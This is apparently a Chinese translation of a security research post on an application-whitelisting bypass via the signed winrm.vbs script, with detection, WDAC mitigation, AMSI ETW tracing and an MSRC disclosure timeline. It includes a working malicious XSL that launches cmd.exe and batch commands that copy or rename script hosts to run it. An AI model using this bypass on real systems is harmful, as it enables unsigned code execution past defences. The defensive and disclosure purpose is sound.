原文:https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404

由于winrm.vbs(System32中已签名的Windows脚本)能够使用和执行受攻击者控制的XSL脚本,并且XSL脚本不受“开明脚本宿主”限制,因此,导致攻击者可以执行任意的、未签名的代码。

当我们向winrm.vbs提供“-format:pretty”或“-format:text”选项时,它会从cscript.exe所在的目录中提取对应的WsmPty.xsl或WsmTxt.xsl文件。这就意味着,如果攻击者将cscript.exe复制到自己控制的恶意XSL所在的位置,就能实现执行任意未签名代码的目的。实际上,这种攻击方式与Casey Smith提出的wmic.exe技术基本上是一个路数。

概念证明


攻击过程如下所示:

  1. 将恶意WsmPty.xsl或WsmTxt.xsl投递到攻击者控制的位置。
  2. 将cscript.exe(或wscript.exe,需要用到后面介绍的技巧)复制到同一位置。
  3. 执行winrm.vbs,并通过“-format”开关指定“pretty”或“text”,具体取决于要投递的.XSL文件:WsmPty.xsl或WsmTxt.xsl。

下面是一个“恶意的”XSL示例,需要放到攻击者控制的目录中(对于本例而言,该目录为C:\BypassDir\WsmPty.xsl):

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"></output>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

为了将WsmPty.xsl武器化,需要用到一个嵌入式的DotNetToJScript有效载荷,用于执行任意的未签名代码。

在投递WsmPty.xsl后,可以使用下面的批处理文件来启动该有效载荷:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

我是如何发现该绕过技术的


这个安全问题的发现,基本上是一个巧合。在使用基于XSL的wmic.exe绕过技术后不久,我碰巧审计了一些系统内置的VBS和JScript文件(即WSH脚本),为的是找到更多的旁路方法。之所以审计这些文件类型,主要是受到了Matt Nelson的启发——他的purprn.vbs注入技术引起了我的浓厚兴趣。在阅读winrm.vbs的源代码时,字符串“WsmPty.xsl”和“WsmTxt.xsl”立即映入我的眼帘,正如Casey在他的文章中所展示的那样,使用XSL的应用程序很有可能允许任意代码执行,方法是将WSH脚本内容嵌入到XSL文件中。不出所料,winrm.vbs也不例外。

老实说,在“猎捕”可用于执行任意未签名代码的已签名脚本和二进制文件方面,我确实有着特殊的嗜好,这是因为它们不仅可以绕过应用程序白名单,而且也不太可能被安全产品检测到(至少,在它们被公之于众之前是这样的)。所以,我总是乐此不疲的到处“围猎”!

检测方法和规避策略


为了构建针对该技术的鲁棒检测方法,重点在于识别执行该技术所需的最小组件集。

  • 攻击者控制的WsmPty.xsl或WsmTxt.xsl,这是必须投放的。

对于WsmPty.xsl和WsmTxt.xsl来说,都是硬编码在winrm.vbs中的,并明确地为其指定了“pretty”和“text”选项。同时,似乎没有办法可以让winrm.vbs使用来自使用XSL有效载荷的可执行文件(即大多数情况下为cscript.exe)的当前工作目录以外的目录中的XSL文件。因此,从检测角度来看,如果某些WsmPty.xsl或WsmTxt.xsl文件的哈希值不同于System32中这些文件的哈希值,那么这些文件就相当可疑。幸运的是,合法的XSL文件的哈希值很少。

此外,合法的WsmPty.xsl和WsmTxt.xsl文件采用的是目录签名。所以,只要它们的哈希值出现任何变化,就无法对其进行签名。换句话说,磁盘上未签名的任何WsmPty.xsl或WsmTxt.xsl都应该引起我们的怀疑。请注意,使用目录签名验证(catalog signature validation)时,要求运行“cryptsvc”服务。

  • 必须执行签名的winrm.vbs。如果攻击者需要编辑winrm.vbs的内容的话,那么这个绕过方法明显不适用。

基于命令行中winrm.vbs的存在性的检测方法并不理想,因为攻击者可以将winrm.vbs重命名为自己选择的名称。

  • 必须将“format”参数的值指定为“pretty”或“text”,才能使用相应XSL文件。

对于“format”参数来说,以下取值都是允许的;注意,这里不区分大小写:

-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"

如果单纯通过“format”的存在来构建检测方法的话,则需要捕获该参数值的所有变体,并且检测结果容易出现假阳性。“format”参数的使用,在多大程度是合法的,要视具体的组织而定。然而,除非从cscript.exe调用System32中的winrm.vbs,否则,就非常可疑。

  • 脚本winrm.vbs应该从cscript.exe中执行。该脚本中有验证这一点的逻辑。

winrm.vbs脚本会通过检查WScript.FullName(宿主二进制文件的完整路径)是否包含“cscript.exe”来判断自己是否是从cscript.exe中执行的。这个检测方法不够严谨,因为它只检查“cscript.exe”是否位于完整路径中。这对攻击者来说,就意味着如果利用重命名的cscript.exe或者使用另一个脚本宿主二进制文件(如wscript.exe)来启动winrm.vbs的话,就可以顺利绕过该检测。例如,下面的.bat代码就能够顺利绕过“cscript.exe”检查。

mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

关于检测方法的鲁棒性


  • PoC示例中之所以选择get wmicimv2 / Win32_Process?Handle = 4参数,是因为返回某些东西的命令行参数对演示非常有用,但是这里假设WinRM服务已启用。请注意,对于该绕过技术来说,即使不启用WinRM服务,它照样能够正常工作。此外,还有许多其他选项也支持"format"参数,不过,这些选项没有表现出任何形式的恶意意图。
  • 健壮的检测方法不应该通过在命令行中查找cscript.exe或wscript.exe来实现。虽然当攻击者没有采取伪装措施时,这种方法简单有效,但攻击者只需复制并重命名WSH宿主可执行文件,就能轻松绕过该检测方法。更加强大的进程执行检测需要使用“Original filename”以及对应二进制文件的签名。对文件签名时,“Original filename”(是嵌入在资源部分内的“version info”的一个组件)也是哈希计算的一部分。如果攻击者试图修改WSH宿主可执行文件中嵌入的任何资源的话,那么签名就会失效。

缓解与预防策略


通过Windows Defender应用程序控制(WDAC)强制实施用户模式代码完整性(UMCI)检测,可以防御该绕过技术。由于没有其他强大的方法可以阻止易受攻击的已签名脚本,因此需要使用哈希值来阻止该脚本易受攻击的各个版本。然而,识别脚本的所有易受攻击的版本是非常困难的,因为防御者不可能在所有可能的Windows版本中捕获所有易受攻击的winrm.vbs版本的所有哈希值。这篇文章详细介绍了脚本黑名单方法的无效性。

至于缓解方法,就是让Microsoft修复该脚本中的问题,并公布新的目录签名(catalog signature)。这样做会将脚本的先前易受攻击的版本变为未签名的。因此,如果使用WDAC强制实施脚本签名检查,则以前易受攻击的winrm.vbs版本将无法执行。但是,这个方案仅能阻止非管理员执行易受攻击的winrm.vbs版本的情形。但是,如果攻击者以管理员身份运行代码的攻击者,仍然可以安装以前的目录签名,这样就又能够执行易受攻击的winrm.vbs版本了。

上述两种预防/缓解方案都依赖于WDAC的实施。考虑到绝大多数公司都没有启用WDAC,即使使用修复后的winrm.vbs,也没有什么能阻止攻击者将易受攻击的winrm.vbs版本放到磁盘上并执行它。最后,即使修复了winrm.vbs,也找不到可的预防方法。

WSH/XSL脚本的分析诊断


对于XSL和WSH脚本来说,这既不是第一次,也肯定不会是最后一次被攻击者滥用。理想情况下,攻击者应该能够清楚有效载荷的执行情况,无论它们是从磁盘执行的,还是完全在内存中执行的。这方面,PowerShell提供了现成的手段,即scriptblock日志记录功能。但是,对于WSH内容来说,还没有这样的等价功能。不过,如果您熟悉ETW的话,通过引入反恶意软件扫描接口(AMSI),就可以捕获WSH相关内容。

AMSI的分析诊断数据是通过Microsoft-Antimalware-Scan-Interface ETW提供程序交付的。如果您要尝试捕获AMSI事件的话,最好的程序库之一就是KrabsETW。不过,如果只是进行简单的实验的话,完全可以使用logman.exe来捕获ETL跟踪信息。例如,以下命令可以用来启动和停止ETW跟踪,并将AMSI相关事件保存到AMSITrace.etl:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets

虽然ETW的运行机制超出了本文的介绍范围,但读者可能对我是如何了解Microsoft-Antimalware-Scan-Interface ETW提供程序以及“Event1”关键字的来源的非常好奇,所以下面我就简单说一下。

我是通过logman query providers命令查询已注册的提供程序,进而掌握ETW提供程序的名称的。而“Event1”则对应于捕获AMSI上下文的关键字。为了找到该关键字,我使用perfview.exe将ETW清单转储为XML。通过该清单,我们还能弄清楚可以通过提供程序收集哪些事件。

<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
    <keywords>
     <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"></keyword>
    </keywords>
    <tasks>
     <task name="task_0" message="$(string.task_task_0)" value="0"></task>
    </tasks>
    <events>
     <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"></event>
    </events>
    <templates>
     <template tid="task_0Args">
      <data name="session" inType="win:Pointer"></data>
      <data name="scanStatus" inType="win:UInt8"></data>
      <data name="scanResult" inType="win:UInt32"></data>
      <data name="appname" inType="win:UnicodeString"></data>
      <data name="contentname" inType="win:UnicodeString"></data>
      <data name="contentsize" inType="win:UInt32"></data>
      <data name="originalsize" inType="win:UInt32"></data>
      <data name="content" inType="win:Binary" length="contentsize"></data>
      <data name="hash" inType="win:Binary"></data>
      <data name="contentFiltered" inType="win:Boolean"></data>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1" value="Event1"></string>
    <string id="task_task_0" value="task_0"></string>
   </stringTable>
  </resources>
 </localization>
</instrumentationManifest>

捕获.ETL跟踪后,我们可以使用自己喜欢的工具进行分析。实际上,PowerShell中的Get-WinEvent就是一个很棒的内置.ETL解析器。此外,我还编写了一个简短的脚本来演示如何解析AMSI事件。请注意,由于WSH无法提供“contentname”属性,所以,我们需要手动解析事件数据。另外,该脚本还能够捕获PowerShell内容。

# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets

$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture

$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }

$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
    if (-not $_.Properties) {
        # The AMSI provider is not supplying the contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
        # If this bug were not present, retrieving WSH content would be trivial.

        $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})

        $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)

        switch ($OSPointerSize) {
            32 { $Session = $BinaryReader.ReadUInt32() }
            64 { $Session = $BinaryReader.ReadUInt64() }
        }

        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()

        $StringBuilder = New-Object -TypeName Text.StringBuilder
        do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()

        $ContentSize = $BinaryReader.ReadInt32()
        $OriginalSize = $BinaryReader.ReadInt32()
        $ContentRaw = $BinaryReader.ReadBytes($ContentSize)
        $Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered = $BinaryReader.ReadInt32()

        $BinaryReader.Close()

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered = $_.Properties[9].Value

        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}

$AMSIScanEvents

捕获跟踪记录后,我们还能看到执行的有效载荷的内容。

该示例表明AMSI ETW提供程序从前面引用的PoC XSL有效载荷捕获攻击上下文

基于ETW的分析诊断和检测方法,已经超出了这篇文章的范围,所以不做深入介绍;但希望这个例子可以激发读者进一步研究它们的兴趣。

漏洞披露时间表


我们不仅致力于提高新型攻击技术的透明度,同时,我们也深知,这些技术一旦公开,就会被攻击者迅速采用。因此,在公布新的攻击性技术之前,我们会定期向相关的供应商通报问题,并提供充足的时间来缓解问题;同时,还会通知特定的可信赖供应商,以确保能够尽快向客户交付检测结果。

由于该技术会影响Windows Defender应用程序控制(通过MSRC提供可维护的安全功能),因此,我们也向Microsoft报告了此问题。该漏洞的披露时间表如下:

  • 2018年4月24日 - 向MSRC发送报告
  • 2018年4月24日 - 报告得到确认,并分配了一个案例编号
  • 2018年4月30日 - 收到电子邮件,指出该问题能够复现
  • 2018年5月24日 - 向MSRC发送电子邮件,请求进行更新
  • 2018年5月28日 - 回复表明评估仍在进行中
  • 2018年6月10日 - 向MSRC发送电子邮件,请求进行更新
  • 2018年6月11日 - MSRC的回应称,产品团队计划在8月份完成漏洞修复
  • 2018年7月12日 - MSRC的回应称,无法通过安全更新解决该问题,但是可能在v.Next中得到解决

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖